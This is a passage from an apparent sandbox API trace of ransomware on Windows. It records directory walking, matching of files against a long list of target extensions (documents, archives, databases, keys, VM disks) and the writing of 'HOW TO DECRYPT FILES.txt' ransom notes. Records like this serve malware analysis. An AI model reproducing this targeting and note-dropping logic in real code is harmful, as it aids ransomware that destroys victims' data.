(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.rar") returned 0 [0112.677] lstrlenA (lpString="*.rar") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.zip") returned 0 [0112.677] lstrlenA (lpString="*.zip") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.html") returned 0 [0112.678] lstrlenA (lpString="*.html") returned 6 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.htm") returned 0 [0112.678] lstrlenA (lpString="*.htm") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0112.678] lstrlenA (lpString="*.xlsx") returned 6 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.xls") returned 0 [0112.678] lstrlenA (lpString="*.xls") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mp4") returned 0 [0112.678] lstrlenA (lpString="*.mp4") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.ppt") returned 0 [0112.678] lstrlenA (lpString="*.ppt") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.pptx") returned 0 [0112.678] lstrlenA (lpString="*.pptx") returned 6 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.doc") returned 0 [0112.678] lstrlenA (lpString="*.doc") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.dot") returned 0 [0112.678] lstrlenA (lpString="*.dot") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.docx") returned 0 [0112.678] lstrlenA (lpString="*.docx") returned 6 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.7z") returned 0 [0112.678] lstrlenA (lpString="*.7z") returned 4 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.tar") returned 0 [0112.678] lstrlenA (lpString="*.tar") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.bz2") returned 0 [0112.678] lstrlenA (lpString="*.bz2") returned 5 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.gz") returned 0 [0112.678] lstrlenA (lpString="*.gz") returned 4 [0112.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mkv") returned 0 [0112.679] lstrlenA (lpString="*.mkv") returned 5 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.679] lstrlenA (lpString="*.eml") returned 5 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.msg") returned 0 [0112.679] lstrlenA (lpString="*.msg") returned 5 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.edb") returned 0 [0112.679] lstrlenA (lpString="*.edb") returned 5 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.accdb") returned 0 [0112.679] lstrlenA (lpString="*.accdb") returned 7 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.odb") returned 0 [0112.679] lstrlenA (lpString="*.odb") returned 5 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.java") returned 0 [0112.679] lstrlenA (lpString="*.java") returned 6 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.asm") returned 0 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.pfx") returned 0 [0112.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.pem") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.p12") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.gpg") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.vsd") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.odg") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.raw") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.nef") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.svg") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.psd") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.vmx") returned 0 [0112.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.vdi") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.lay6") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.djvu") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.tiff") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.backup") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.pdf") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.cert") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.docm") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.dwg") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.nd") returned 0 [0112.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.tlg") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.lgb") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mov") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.xdw") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.ods") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.wav") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mp3") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.aiff") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.flac") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.m4a") returned 0 [0112.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.csv") returned 0 [0112.682] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae1aaada, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1aaada, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1aaada, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x46800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.682] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.683] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1f6d9b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1f6d9b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aa8854bd55fca246dd3226a671092bfa", cAlternateFileName="AA8854~1")) returned 0 [0112.683] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.683] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.EnterpriseSe#", cAlternateFileName="SYSTEM~1.ENT")) returned 1 [0112.683] lstrcmpA (lpString1=".", lpString2="System.EnterpriseSe#") returned -1 [0112.683] lstrcmpA (lpString1="..", lpString2="System.EnterpriseSe#") returned -1 [0112.683] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.683] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.EnterpriseSe#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#" [0112.683] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.684] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.684] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.685] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.685] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.685] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a6155c70b3df6c860303ffee7b560ade", cAlternateFileName="A6155C~1")) returned 1 [0112.685] lstrcmpA (lpString1=".", lpString2="a6155c70b3df6c860303ffee7b560ade") returned -1 [0112.685] lstrcmpA (lpString1="..", lpString2="a6155c70b3df6c860303ffee7b560ade") returned -1 [0112.685] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\*.*") returned="*.*" [0112.685] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\", lpString2="a6155c70b3df6c860303ffee7b560ade" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade" [0112.685] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.687] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.687] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.688] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.688] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.688] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b22b3ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b22b3ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b25150c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x108000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.EnterpriseServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.688] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0112.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0112.688] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0112.688] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\*.*") returned="*.*" [0112.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\" [0112.688] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\") returned="" [0112.688] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt" [0112.688] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.enterprisese#\\a6155c70b3df6c860303ffee7b560ade\\how to decrypt files.txt")) returned 0xffffffff [0112.688] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.enterprisese#\\a6155c70b3df6c860303ffee7b560ade\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.690] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.691] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.691] CloseHandle (hObject=0x90) returned 1 [0112.691] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\", lpString2="System.EnterpriseServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll" [0112.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.ems") returned 0 [0112.691] lstrlenA (lpString="*.ems") returned 5 [0112.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.db") returned 0 [0112.691] lstrlenA (lpString="*.db") returned 4 [0112.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.dbf") returned 0 [0112.691] lstrlenA (lpString="*.dbf") returned 5 [0112.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.myox") returned 0 [0112.692] lstrlenA (lpString="*.myox") returned 6 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.myo") returned 0 [0112.692] lstrlenA (lpString="*.myo") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qbw") returned 0 [0112.692] lstrlenA (lpString="*.qbw") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qbb") returned 0 [0112.692] lstrlenA (lpString="*.qbb") returned 5 [0112.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.ni.dll", pszSpec="*.qbm") returned 0 [0112.692] lstrlenA 